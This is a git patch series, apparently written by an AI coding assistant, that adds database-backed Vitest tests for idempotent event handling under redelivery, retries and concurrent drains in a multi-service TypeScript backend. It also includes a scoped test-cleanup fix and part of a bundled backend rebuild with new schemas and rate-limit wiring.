'@atlas/utils'; +import { + createIsolatedDatabase, + deliver, + newPostgresBroker, + spyBroker, + type IsolatedDatabase, + type SpyBroker, +} from '../../matching/test/support/isolated-db.js'; +import { computeLearningMetrics, summarizeGroups } from '../src/lib/metrics.js'; +import { + aggregateModelGroups, + listApplicationPairs, + listRecentScores, +} from '../src/repo/lookups.js'; +import { registerConsumers } from '../src/worker.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const CONSUMER = 'learning-service.application-created'; + +interface SeedScore { + modelVersion: string; + score: number; + applied: boolean; +} + +describe.skipIf(!testDatabaseUrl)('learning-service under at-least-once delivery', () => { + let isolated: IsolatedDatabase; + let spy: SpyBroker; + const sql = () => isolated.handle.sql; + + beforeAll(async () => { + isolated = await createIsolatedDatabase(testDatabaseUrl as string); + }); + + afterAll(async () => { + await isolated?.close(); + }); + + beforeEach(async () => { + await isolated.reset(); + spy = spyBroker(newPostgresBroker(isolated)); + await registerConsumers({ db: isolated.db, broker: spy, logger: createSilentLogger() }); + }); + + /** Scores, newest first by position, each optionally backed by an application. */ + async function seed(scores: SeedScore[]): Promise { + const now = Date.now(); + const rows = scores.map((entry, index) => ({ + jobId: randomUUID(), + userId: randomUUID(), + score: entry.score, + modelVersion: entry.modelVersion, + scoredAt: new Date(now - index * 1000).toISOString(), + applied: entry.applied, + })); + for (let start = 0; start < rows.length; start += 250) { + const chunk = rows.slice(start, start + 250); + await isolated.db + .insert(schema.jobScores) + .values(chunk.map(({ applied: _applied, ...row }) => row)); + const applied = chunk.filter((row) => row.applied); + if (applied.length > 0) { + await isolated.db + .insert(schema.applications) + .values( + applied.map((row) => ({ + userId: row.userId, + jobId: row.jobId, + mode: 'manual' as const, + status: 'draft' as const, + idempotencyKey: randomUUID(), + })), + ); + } + } + } + + /** Two models with a lift (applied jobs scored higher) and one with nothing applied. */ + const MIXED: SeedScore[] = [ + { modelVersion: 'model-a', score: 0.9, applied: true }, + { modelVersion: 'model-a', score: 0.8, applied: true }, + { modelVersion: 'model-a', score: 0.3, applied: false }, + { modelVersion: 'model-a', score: 0.2, applied: false }, + { modelVersion: 'model-b', score: 0.7, applied: true }, + { modelVersion: 'model-b', score: 0.5, applied: false }, + { modelVersion: 'model-c', score: 0.6, applied: false }, + ]; + + function applicationCreated(): EventEnvelope<'application.created'> { + const userId = randomUUID(); + return createEvent( + 'application.created', + { application_id: randomUUID(), user_id: userId, job_id: randomUUID(), mode: 'manual' }, + newTraceContext({ user_id: userId }), + ); + } + + async function updates() { + return sql()< + { + event_id: string; + payload: { model_version: string; samples: number; metric: string; value: number }; + }[] + >` + select event_id, payload from event_outbox where event_type = 'learning.updated' order by payload->>'model_version', event_id`; + } + + async function duplicatedUpdates() { + return sql()<{ model_version: string; trigger: string; copies: number }[]>` + select payload->>'model_version' as model_version, trace_id as trigger, count(*)::int as copies + from event_outbox where event_type = 'learning.updated' + group by 1, 2 having count(*) > 1`; + } + + describe('aggregateModelGroups', () => { + it('agrees with the in-memory metric over the same rows', async () => { + await seed(MIXED); + + const aggregated = summarizeGroups(await aggregateModelGroups(isolated.db)); + const inMemory = computeLearningMetrics( + await listRecentScores(isolated.db), + await listApplicationPairs(isolated.db), + ); + + const byModel = (metrics: typeof aggregated) => + [...metrics].sort((a, b) => a.modelVersion.localeCompare(b.modelVersion)); + expect(byModel(aggregated)).toHaveLength(3); + for (const [index, expected] of byModel(inMemory).entries()) { + const actual = byModel(aggregated)[index]; + expect(actual?.modelVersion).toBe(expected.modelVersion); + expect(actual?.appliedSamples).toBe(expected.appliedSamples); + expect(actual?.notAppliedSamples).toBe(expected.notAppliedSamples); + for (const key of ['appliedMeanScore', 'notAppliedMeanScore', 'lift'] as const) { + if (expected[key] === null) expect(actual?.[key]).toBeNull(); + else expect(actual?.[key]).toBeCloseTo(expected[key] as number, 6); + } + } + const a = byModel(aggregated)[0]; + expect(a?.lift).toBeCloseTo(0.85 - 0.25, 6); + expect(byModel(aggregated)[2]?.lift).toBeNull(); + }); + + it('samples the same most recent scores as the in-memory path', async () => { + await seed(MIXED); + + const aggregated = summarizeGroups(await aggregateModelGroups(isolated.db, 3)); + const inMemory = computeLearningMetrics( + await listRecentScores(isolated.db, 3), + await listApplicationPairs(isolated.db), + ); + + // Newest three are model-a: 0.9 and 0.8 applied, 0.3 not. + expect(aggregated).toHaveLength(1); + expect(aggregated[0]?.appliedSamples).toBe(2); + expect(aggregated[0]?.notAppliedSamples).toBe(1); + expect(aggregated[0]?.lift).toBeCloseTo(inMemory[0]?.lift as number, 6); + }); + + it('is the same single statement however many scores there are', async () => { + await seed( + Array.from({ length: 2_000 }, (_, index) => ({ + modelVersion: index % 2 === 0 ? 'model-a' : 'model-b', + score: (index % 100) / 100, + applied: index % 7 === 0, + })), + ); + isolated.queries.length = 0; + + const groups = await aggregateModelGroups(isolated.db); + + expect(isolated.queries).toHaveLength(1); + expect( + groups + .map((group) => group.appliedCount + group.notAppliedCount) + .reduce((a, b) => a + b, 0), + ).toBe(2_000); + }); + }); + + describe('application.created', () => { + it('publishes one learning.updated per model with a lift, keyed by the event and the model', async () => { + await seed(MIXED); + const envelope = applicationCreated(); + isolated.queries.length = 0; + + await deliver(spy, CONSUMER, envelope); + + // One aggregate read and one batch publish, whatever the number of rows. + expect(isolated.queries).toHaveLength(2); + const events = await updates(); + expect(events.map((event) => event.payload.model_version)).toEqual(['model-a', 'model-b']); + expect(events.map((event) => event.event_id).sort()).toEqual( + ['model-a', 'model-b'] + .map((model) => derivedEventId(envelope.event_id, `learning.updated:${model}:score_lift`)) + .sort(), + ); + expect(events[0]?.payload).toMatchObject({ metric: 'score_lift', samples: 4 }); + expect(events[0]?.payload.value).toBeCloseTo(0.6, 6); + }); + + it('publishes nothing while there are no scores', async () => { + await deliver(spy, CONSUMER, applicationCreated()); + + expect(await updates()).toHaveLength(0); + }); + + it('a redelivered event publishes nothing new, a later application publishes again', async () => { + await seed(MIXED); + const envelope = applicationCreated(); + + await deliver(spy, CONSUMER, envelope); + await deliver(spy, CONSUMER, envelope, 1); + expect(await updates()).toHaveLength(2); + + await deliver(spy, CONSUMER, applicationCreated()); + expect(await updates()).toHaveLength(4); + }); + + it('the same event delivered to several handlers at once publishes each update once', async () => { + await seed(MIXED); + const envelope = applicationCreated(); + + await Promise.all([1, 2, 3, 4].map((attempt) => deliver(spy, CONSUMER, envelope, attempt))); + + expect(await updates()).toHaveLength(2); + expect(await duplicatedUpdates()).toEqual([]); + }); + + it('a failure part-way and its retry publish each update exactly once', async () => { + await seed(MIXED); + const envelope = applicationCreated(); + + spy.publishBudget = 1; + await expect(deliver(spy, CONSUMER, envelope)).rejects.toThrow('injected publish failure'); + spy.publishBudget = Number.POSITIVE_INFINITY; + await deliver(spy, CONSUMER, envelope, 1); + + expect(await updates()).toHaveLength(2); + expect(await duplicatedUpdates()).toEqual([]); + }); + + it('keeps the value an earlier attempt already published when a retry computes a newer one', async () => { + await seed(MIXED); + const envelope = applicationCreated(); + + spy.publishBudget = 1; + await expect(deliver(spy, CONSUMER, envelope)).rejects.toThrow('injected publish failure'); + const [first] = await updates(); + // The data moves on between the attempts: model-a gains a high-scoring skipped job. + await seed([{ modelVersion: 'model-a', score: 1, applied: false }]); + spy.publishBudget = Number.POSITIVE_INFINITY; + await deliver(spy, CONSUMER, envelope, 1); + + const events = await updates(); + expect(events).toHaveLength(2); + expect(events.find((event) => event.payload.model_version === 'model-a')).toEqual(first); + }); + }); +}); From a2a931035eb97c4445e496ceb3ef50fdc713899c Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:11:55 +0000 Subject: [PATCH 41/91] test(analytics): pin idempotency under concurrent redelivery analytics-service needs no code change: recordEvent writes the processed_events row and the analytics_events row in one transaction, so a second delivery of an event_id hits the primary key and is dropped. The new tests pin that down for the cases the broker's lease does not cover - one envelope handled several times in a row, by eight handlers at once, and by two drains that both hold the delivery after a lease expired - and check that distinct event ids are still counted separately. Removing the processed_events insert makes all four fail. Also scope analytics-flow's cleanup to its own dedupe rows: it deleted every row of the shared processed_events table. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../analytics/test/analytics-flow.test.ts | 9 +- services/analytics/test/at-least-once.test.ts | 120 ++++++++++++++++++ 2 files changed, 127 insertions(+), 2 deletions(-) create mode 100644 services/analytics/test/at-least-once.test.ts diff --git a/services/analytics/test/analytics-flow.test.ts b/services/analytics/test/analytics-flow.test.ts index 722821e..bb42601 100644 --- a/services/analytics/test/analytics-flow.test.ts +++ b/services/analytics/test/analytics-flow.test.ts @@ -1,5 +1,5 @@ import { randomUUID } from 'node:crypto'; -import { and, eq } from 'drizzle-orm'; +import { and, eq, inArray } from 'drizzle-orm'; import { exportJWK, generateKeyPair, SignJWT } from 'jose'; import type { FastifyInstance } from 'fastify'; import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; @@ -53,6 +53,8 @@ describe.skipIf(!testDatabaseUrl)('analytics-service', () => { const userId = randomUUID(); const adminUserId = randomUUID(); const noOrgAdminUserId = randomUUID(); + // Only this suite's own dedupe rows are removed: processed_events is shared with every other suite. + const publishedEventIds: string[] = []; beforeAll(async () => { await stubJwks(); @@ -93,7 +95,9 @@ describe.skipIf(!testDatabaseUrl)('analytics-service', () => { afterAll(async () => { await Promise.all(subscriptions.map((subscription) => subscription.stop())); await dbHandle.db.delete(schema.analyticsEvents).where(eq(schema.analyticsEvents.organizationId, organizationId)); - await dbHandle.db.delete(schema.processedEvents); + if (publishedEventIds.length > 0) { + await dbHandle.db.delete(schema.processedEvents).where(inArray(schema.processedEvents.eventId, publishedEventIds)); + } // Cascades to public.users via the auth.users FK. await dbHandle.sql`delete from auth.users where id in (${userId}, ${adminUserId}, ${noOrgAdminUserId})`; await dbHandle.db.delete(schema.organizations).where(eq(schema.organizations.organizationId, organizationId)); @@ -107,6 +111,7 @@ describe.skipIf(!testDatabaseUrl)('analytics-service', () => { { application_id: randomUUID(), user_id: userId, job_id: randomUUID(), mode: 'manual' }, newTraceContext({ organization_id: organizationId, user_id: userId }), ); + publishedEventIds.push(envelope.event_id); await broker.publish(envelope); await broker.publish(envelope); // exact same event_id — must not double-count diff --git a/services/analytics/test/at-least-once.test.ts b/services/analytics/test/at-least-once.test.ts new file mode 100644 index 0000000..aa119c0 --- /dev/null +++ b/services/analytics/test/at-least-once.test.ts @@ -0,0 +1,120 @@ +/** + * analytics-service under at-least-once delivery. It is the one consumer that + * dedupes by itself: `recordEvent` writes the `processed_events` row and the + * `analytics_events` row in one transaction, so a second delivery of an + * `event_id` hits the primary key and is dropped. These tests pin that down + * for the cases the broker's lease does not cover (a lease that expired while + * the handler was still running, so the same envelope is handled twice at once). + * + * Runs against a private schema (see matching's support/isolated-db.ts). + * DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset. + */ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { createEvent } from '@atlas/messaging'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { + createIsolatedDatabase, + deliver, + newPostgresBroker, + raceTwoDrains, + spyBroker, + type IsolatedDatabase, + type SpyBroker, +} from '../../matching/test/support/isolated-db.js'; +import { registerConsumers } from '../src/worker.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const CONSUMER = 'analytics-service.event-recorder'; + +function jobScored(userId = randomUUID()): EventEnvelope<'job.scored'> { + return createEvent( + 'job.scored', + { job_id: randomUUID(), user_id: userId, score: 0.5, model_version: 'test-model' }, + newTraceContext({ user_id: userId }), + ); +} + +describe.skipIf(!testDatabaseUrl)('analytics-service under at-least-once delivery', () => { + let isolated: IsolatedDatabase; + let spy: SpyBroker; + const sql = () => isolated.handle.sql; + + beforeAll(async () => { + isolated = await createIsolatedDatabase(testDatabaseUrl as string); + }); + + afterAll(async () => { + await isolated?.close(); + }); + + beforeEach(async () => { + await isolated.reset(); + spy = spyBroker(newPostgresBroker(isolated)); + await registerConsumers({ db: isolated.db, broker: spy, logger: createSilentLogger() }); + }); + + async function recorded(): Promise { + const [row] = await sql()< + { count: number }[] + >`select count(*)::int as count from analytics_events`; + return row?.count ?? 0; + } + + async function processed(): Promise { + const [row] = await sql()< + { count: number }[] + >`select count(*)::int as count from processed_events where consumer = ${CONSUMER}`; + return row?.count ?? 0; + } + + it('records an event once however many times it is delivered in a row', async () => { + const envelope = jobScored(); + + for (let attempt = 0; attempt < 4; attempt += 1) + await deliver(spy, CONSUMER, envelope, attempt); + + expect(await recorded()).toBe(1); + expect(await processed()).toBe(1); + }); + + it('records an event once when it is delivered to several handlers at once, and none of them fails', async () => { + const envelope = jobScored(); + + const results = await Promise.allSettled( + Array.from({ length: 8 }, (_, attempt) => deliver(spy, CONSUMER, envelope, attempt)), + ); + + expect(results.filter((result) => result.status === 'rejected')).toEqual([]); + expect(await recorded()).toBe(1); + expect(await processed()).toBe(1); + }); + + it('counts distinct events separately even when everything but the id is equal', async () => { + const userId = randomUUID(); + const first = jobScored(userId); + const second = { ...first, event_id: randomUUID() }; + + await Promise.all([deliver(spy, CONSUMER, first), deliver(spy, CONSUMER, second)]); + + expect(await recorded()).toBe(2); + expect(await processed()).toBe(2); + }); + + it('records an event once when two drains race for the same delivery after a lease expired', async () => { + const envelope = jobScored(); + await spy.inner.publish(envelope); + + const { handlerRuns } = await raceTwoDrains(isolated, (broker) => + registerConsumers({ db: isolated.db, broker, logger: createSilentLogger() }), + ); + + expect(handlerRuns).toBe(2); + expect(await recorded()).toBe(1); + expect(await processed()).toBe(1); + const deliveries = await sql()<{ status: string }[]>` + select status from event_deliveries where event_id = ${envelope.event_id} and consumer = ${CONSUMER}`; + expect(deliveries.map((delivery) => delivery.status)).toEqual(['done']); + }); +}); From ac6b09291f967aa5733b2de727a20516318ca12b Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:12:01 +0000 Subject: [PATCH 42/91] test: redeliver the event consumers end to end over the postgres driver The per-service suites call a handler directly; this one goes through the outbox, the leases and the retries with the real registerConsumers of matching, referrals, learning and analytics, one PostgresBroker per service as on Vercel, on a private schema. - resume.parsed published once and drained twice: one set of job.scored rows, identical job_scores, analytics records each once. - A drain that fails part-way and the drain that retries it: still one set of job.scored / referral.detected / learning.updated, none counted twice. - Two drains holding the same delivery at once (a lease that expired while the handler ran, forced with a rendezvous): same result for matching, referrals and learning. Reverting the three workers makes the failure and race scenarios fail (85 and 120 job.scored rows instead of 60, 4 and 6 referral.detected instead of 3). Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../matching/test/pipeline-redelivery.test.ts | 286 ++++++++++++++++++ 1 file changed, 286 insertions(+) create mode 100644 services/matching/test/pipeline-redelivery.test.ts diff --git a/services/matching/test/pipeline-redelivery.test.ts b/services/matching/test/pipeline-redelivery.test.ts new file mode 100644 index 0000000..8cfa5b9 --- /dev/null +++ b/services/matching/test/pipeline-redelivery.test.ts @@ -0,0 +1,286 @@ +/** + * The four event consumers end to end over the `postgres` driver, under the + * deliveries it actually makes: the real services' `registerConsumers`, one + * `PostgresBroker` per service as on Vercel, an event published once and + * drained more than once — with a failure part-way, and with two drains + * holding the same delivery at the same time. + * + * The per-service suites (at-least-once.test.ts in each) call a handler + * directly; this one goes through the outbox, the leases and the retries, and + * adds the consumer downstream of them all: analytics, which would count a + * repeated `job.scored` (or any other derived event) twice. + * + * It reaches into services/* because this is the one place that sees all the + * sides of an event; production code never imports across services. Runs + * against a private schema (see support/isolated-db.ts), so it cannot pick up + * — or be picked up by — another suite's outbox. DB-backed tests self-skip + * when ATLAS_TEST_DATABASE_URL is unset (see .env.example). + */ +import { randomUUID } from 'node:crypto'; +import { afterAll, beforeAll, beforeEach, describe, expect, it } from 'vitest'; +import { schema } from '@atlas/db'; +import { createEvent } from '@atlas/messaging'; +import type { EventEnvelope } from '@atlas/types'; +import { createSilentLogger, newTraceContext } from '@atlas/utils'; +import { registerConsumers as registerAnalytics } from '../../analytics/src/worker.js'; +import { registerConsumers as registerLearning } from '../../learning/src/worker.js'; +import { registerConsumers as registerReferrals } from '../../referrals/src/worker.js'; +import { registerConsumers as registerMatching } from '../src/worker.js'; +import { + createIsolatedDatabase, + newPostgresBroker, + raceTwoDrains, + seedJobs, + seedParsedResumes, + spyBroker, + type IsolatedDatabase, + type SpyBroker, +} from './support/isolated-db.js'; + +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const logger = createSilentLogger(); + +describe.skipIf(!testDatabaseUrl)('event consumers over the postgres driver, redelivered', () => { + let isolated: IsolatedDatabase; + let matching: SpyBroker; + let analytics: SpyBroker; + const sql = () => isolated.handle.sql; + + /** One service's own broker, with that service's consumers registered the way its index.ts does. */ + async function service( + register: (deps: { + db: IsolatedDatabase['db']; + broker: SpyBroker; + logger: typeof logger; + }) => Promise, + ) { + const broker = spyBroker(newPostgresBroker(isolated, { retentionMs: 0 })); + await register({ db: isolated.db, broker, logger }); + return broker; + } + + beforeAll(async () => { + isolated = await createIsolatedDatabase(testDatabaseUrl as string); + }); + + afterAll(async () => { + await isolated?.close(); + }); + + beforeEach(async () => { + await isolated.reset(); + matching = await service(registerMatching); + analytics = await service(registerAnalytics); + }); + + /** Drains the given services until none has anything left to do. */ + async function settle(...brokers: SpyBroker[]): Promise { + for (let round = 0; round < 10; round += 1) { + let work = 0; + for (const broker of brokers) { + const result = await broker.inner.drain({ limit: 1000, budgetMs: 20_000 }); + work += result.processed + result.failed + result.dead; + } + if (work === 0) return; + } + throw new Error('drains did not settle'); + } + + async function outboxCount(eventType: string): Promise { + const [row] = await sql()< + { count: number }[] + >`select count(*)::int as count from event_outbox where event_type = ${eventType}`; + return row?.count ?? 0; + } + + async function recordedCount(eventType: string): Promise { + const [row] = await sql()< + { count: number }[] + >`select count(*)::int as count from analytics_events where event_type = ${eventType}`; + return row?.count ?? 0; + } + + async function duplicatedPairs(eventType: string, ...keys: string[]) { + const columns = keys.map((key) => `payload->>'${key}'`).join(', '); + return sql().unsafe<{ copies: number }[]>( + `select count(*)::int as copies from event_outbox where event_type = '${eventType}' group by ${columns} having count(*) > 1`, + ); + } + + async function scoreSnapshot() { + return sql()`select job_id, user_id, score, reasons, skill_gaps, model_version, scored_at::text as scored_at from job_scores order by job_id, user_id`; + } + + function resumeParsed(userId: string): EventEnvelope<'resume.parsed'> { + return createEvent( + 'resume.parsed', + { + resume_id: randomUUID(), + user_id: userId, + ats_score: 80, + skill_count: 3, + total_months_experience: 24, + }, + newTraceContext({ user_id: userId }), + ); + } + + describe('resume.parsed -> matching -> analytics', () => { + const JOBS = 60; + + async function seedUser(): Promise<{ + userId: string; + envelope: EventEnvelope<'resume.parsed'>; + }> { + const userId = randomUUID(); + await seedJobs(isolated, JOBS); + await seedParsedResumes(isolated, [userId]); + const envelope = resumeParsed(userId); + await matching.inner.publish(envelope); + return { userId, envelope }; + } + + it('published once and drained twice: one set of job.scored events and the same scores', async () => { + await seedUser(); + + const first = await matching.inner.drain(); + const scoresAfterFirst = await scoreSnapshot(); + const second = await matching.inner.drain(); + await settle(analytics); + await settle(matching, analytics); + + expect(first).toMatchObject({ processed: 1, failed: 0, dead: 0 }); + expect(second).toMatchObject({ processed: 0, failed: 0, dead: 0 }); + expect(await scoreSnapshot()).toEqual(scoresAfterFirst); + expect(scoresAfterFirst).toHaveLength(JOBS); + expect(await outboxCount('job.scored')).toBe(JOBS); + expect(await duplicatedPairs('job.scored', 'job_id', 'user_id')).toEqual([]); + expect(await recordedCount('job.scored')).toBe(JOBS); + expect(await recordedCount('resume.parsed')).toBe(1); + }); + + it('a drain that fails part-way and the drain that retries it leave one set of events', async () => { + await seedUser(); + + matching.publishBudget = 25; + // One delivery per drain, so the first one fails and only the second retries it. + const failed = await matching.inner.drain({ limit: 1 }); + matching.publishBudget = Number.POSITIVE_INFINITY; + const retried = await matching.inner.drain({ limit: 1 }); + await settle(matching, analytics); + + expect(failed).toMatchObject({ processed: 0, failed: 1, dead: 0 }); + expect(retried).toMatchObject({ processed: 1, failed: 0, dead: 0 }); + expect(await scoreSnapshot()).toHaveLength(JOBS); + expect(await outboxCount('job.scored')).toBe(JOBS); + expect(await duplicatedPairs('job.scored', 'job_id', 'user_id')).toEqual([]); + expect(await recordedCount('job.scored')).toBe(JOBS); + }); + + it('two drains holding the same delivery at once leave one set of events', async () => { + await seedUser(); + + const { handlerRuns } = await raceTwoDrains(isolated, (broker) => + registerMatching({ db: isolated.db, broker, logger }), + ); + await settle(matching, analytics); + + expect(handlerRuns).toBe(2); + expect(await scoreSnapshot()).toHaveLength(JOBS); + expect(await outboxCount('job.scored')).toBe(JOBS); + expect(await duplicatedPairs('job.scored', 'job_id', 'user_id')).toEqual([]); + expect(await recordedCount('job.scored')).toBe(JOBS); + }); + }); + + describe('application.created -> referrals + learning -> analytics', () => { + const CONTACTS = 3; + + async function seedApplication(): Promise> { + const companyId = randomUUID(); + const userId = randomUUID(); + const [job] = await isolated.db + .insert(schema.jobs) + .values({ + companyId, + title: 'Backend Engineer', + source: 'manual', + jobHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + }) + .returning(); + const jobId = job?.jobId as string; + const [application] = await isolated.db + .insert(schema.applications) + .values({ userId, jobId, mode: 'manual', status: 'draft', idempotencyKey: randomUUID() }) + .returning(); + await isolated.db.insert(schema.contacts).values( + Array.from({ length: CONTACTS }, (_, index) => ({ + companyId, + email: `contact-${index}-${randomUUID()}@example.com`, + relevanceScore: 0.9 - index * 0.1, + })), + ); + // Applied-to job scored high, another scored low: a positive lift for one model. + await isolated.db.insert(schema.jobScores).values([ + { jobId, userId, score: 0.9, modelVersion: 'model-x' }, + { jobId: randomUUID(), userId, score: 0.2, modelVersion: 'model-x' }, + ]); + + const envelope = createEvent( + 'application.created', + { + application_id: application?.applicationId as string, + user_id: userId, + job_id: jobId, + mode: 'manual', + }, + newTraceContext({ user_id: userId }), + ); + await analytics.inner.publish(envelope); + return envelope; + } + + it('a drain that fails part-way and the drain that retries it publish each referral and update once', async () => { + await seedApplication(); + const referrals = await service(registerReferrals); + const learning = await service(registerLearning); + + referrals.publishBudget = 1; + learning.publishBudget = 0; + const failed = [ + await referrals.inner.drain({ limit: 1 }), + await learning.inner.drain({ limit: 1 }), + ]; + referrals.publishBudget = Number.POSITIVE_INFINITY; + learning.publishBudget = Number.POSITIVE_INFINITY; + await settle(referrals, learning, analytics); + + expect(failed.map((result) => result.failed)).toEqual([1, 1]); + expect(await outboxCount('referral.detected')).toBe(CONTACTS); + expect(await duplicatedPairs('referral.detected', 'contact_id', 'user_id')).toEqual([]); + expect(await outboxCount('learning.updated')).toBe(1); + expect(await recordedCount('application.created')).toBe(1); + expect(await recordedCount('referral.detected')).toBe(CONTACTS); + expect(await recordedCount('learning.updated')).toBe(1); + }); + + it('two drains holding the same delivery at once publish each referral and update once', async () => { + await seedApplication(); + + const referralsRace = await raceTwoDrains(isolated, (broker) => + registerReferrals({ db: isolated.db, broker, logger }), + ); + const learningRace = await raceTwoDrains(isolated, (broker) => + registerLearning({ db: isolated.db, broker, logger }), + ); + await settle(analytics); + + expect([referralsRace.handlerRuns, learningRace.handlerRuns]).toEqual([2, 2]); + expect(await outboxCount('referral.detected')).toBe(CONTACTS); + expect(await duplicatedPairs('referral.detected', 'contact_id', 'user_id')).toEqual([]); + expect(await outboxCount('learning.updated')).toBe(1); + expect(await recordedCount('referral.detected')).toBe(CONTACTS); + expect(await recordedCount('learning.updated')).toBe(1); + }); + }); +}); From 94879075481c7ad6566a71f435e7c227a0a32e7e Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 13:12:02 +0000 Subject: [PATCH 43/91] chore(build): rebundle backend functions after merging security, applications and rate-limit streams Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- api/admin/index.js | 29 +++- api/analytics/index.js | 81 ++++++++- api/applications/index.js | 276 +++++++++++++++++++++++------- api/auth/index.js | 81 ++++++++- api/jobs/index.js | 154 ++++++++++++++--- api/learning/index.js | 108 ++++++++++-- api/matching/index.js | 79 ++++++++- api/outreach/index.js | 93 ++++++++-- api/profile/index.js | 349 ++++++++++++++++++++++++++++++++------ api/referrals/index.js | 85 +++++++++- 10 files changed, 1144 insertions(+), 191 deletions(-) diff --git a/api/admin/index.js b/api/admin/index.js index b0b94ab..b0d3cd7 100644 --- a/api/admin/index.js +++ b/api/admin/index.js @@ -66857,6 +66857,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -67035,13 +67053,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ diff --git a/api/analytics/index.js b/api/analytics/index.js index d1e85c9..216c543 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -74767,6 +74767,24 @@ var applicationSchema = external_exports.object({ failure_reason: external_exports.string().nullable(), created_at: isoTimestampSchema }); +var applicationJobSummarySchema = external_exports.object({ + job_id: uuidSchema, + title: external_exports.string().min(1).max(300), + company_id: uuidSchema, + company_name: external_exports.string().min(1).max(300), + location: external_exports.string().max(300).nullable(), + remote_type: remoteTypeSchema, + employment_type: employmentTypeSchema, + /** + * Safe to use as a link target: the service only ever returns http(s) URLs + * (anything else a connector stored becomes null). + */ + apply_url: external_exports.url({ protocol: /^https?$/ }).nullable(), + is_active: external_exports.boolean() +}); +var applicationWithJobSchema = applicationSchema.extend({ + job: applicationJobSummarySchema.nullable() +}); var contactSchema = external_exports.object({ contact_id: uuidSchema, company_id: uuidSchema, @@ -74951,13 +74969,20 @@ var ingestJobsRequestSchema = external_exports.object({ var createApplicationRequestSchema = external_exports.object({ job_id: uuidSchema, resume_id: uuidSchema, + /** + * `manual` / `review` start as an editable draft; the owner applies on the + * employer's site and records the outcome. `auto` is rejected (400 + * VALIDATION_ERROR) unless the service runs with + * APPLICATIONS_AUTO_MODE_ENABLED=true — no submission worker exists yet. + */ mode: applicationModeSchema.default("manual") }); +var applicationViewSchema = applicationWithJobSchema.partial({ job: true }); var applicationResponseSchema = external_exports.object({ - application: applicationSchema + application: applicationViewSchema }); var listApplicationsResponseSchema = external_exports.object({ - items: external_exports.array(applicationSchema), + items: external_exports.array(applicationViewSchema), next_cursor: external_exports.string().nullable() }); var appendApplicationEventRequestSchema = external_exports.object({ @@ -85803,6 +85828,43 @@ function metricsRoute(app2, metrics2) { }); } +// packages/observability/src/rate-limit.ts +function registerRateLimitedRoutes(app2, options, declareRoutes) { + const routeLimits = options.routeLimits ?? {}; + const unmatched = new Set(Object.keys(routeLimits)); + if (unmatched.size > 0) { + app2.addHook("onRoute", (route) => { + const methods = Array.isArray(route.method) ? route.method : [route.method]; + for (const method of methods) { + const key = `${method} ${route.url}`; + const limit = routeLimits[key]; + if (limit === void 0) continue; + unmatched.delete(key); + if (route.config?.rateLimit === void 0) { + route.config = { ...route.config, rateLimit: { ...limit } }; + } + } + }); + app2.addHook("onReady", async () => { + if (unmatched.size > 0) { + throw new Error( + `Rate limit configured for routes that do not exist: ${[...unmatched].join(", ")}` + ); + } + }); + } + void app2.register(options.plugin, options.settings); + let limitUnmatched; + app2.addHook("onRequest", async (request, reply) => { + if (!request.is404) return; + limitUnmatched ??= app2.rateLimit(); + await limitUnmatched(request, reply); + }); + void app2.register(async (scope) => { + declareRoutes(scope); + }); +} + // services/analytics/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -85904,10 +85966,6 @@ function buildApp(deps) { genReqId: () => newUuid() }); void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app2.register(import_rate_limit.default, { - max: deps.env.RATE_LIMIT_MAX, - timeWindow: deps.env.RATE_LIMIT_WINDOW - }); const metrics2 = createMetricsRegistry("analytics-service"); registerHttpMetrics(app2, metrics2); app2.setErrorHandler((error62, request, reply) => { @@ -85949,7 +86007,16 @@ function buildApp(deps) { healthRoute(app2, deps); metricsRoute(app2, metrics2); drainRoute(app2, deps); - getSummaryRoute(app2, deps); + registerRateLimitedRoutes( + app2, + { + plugin: import_rate_limit.default, + settings: { max: 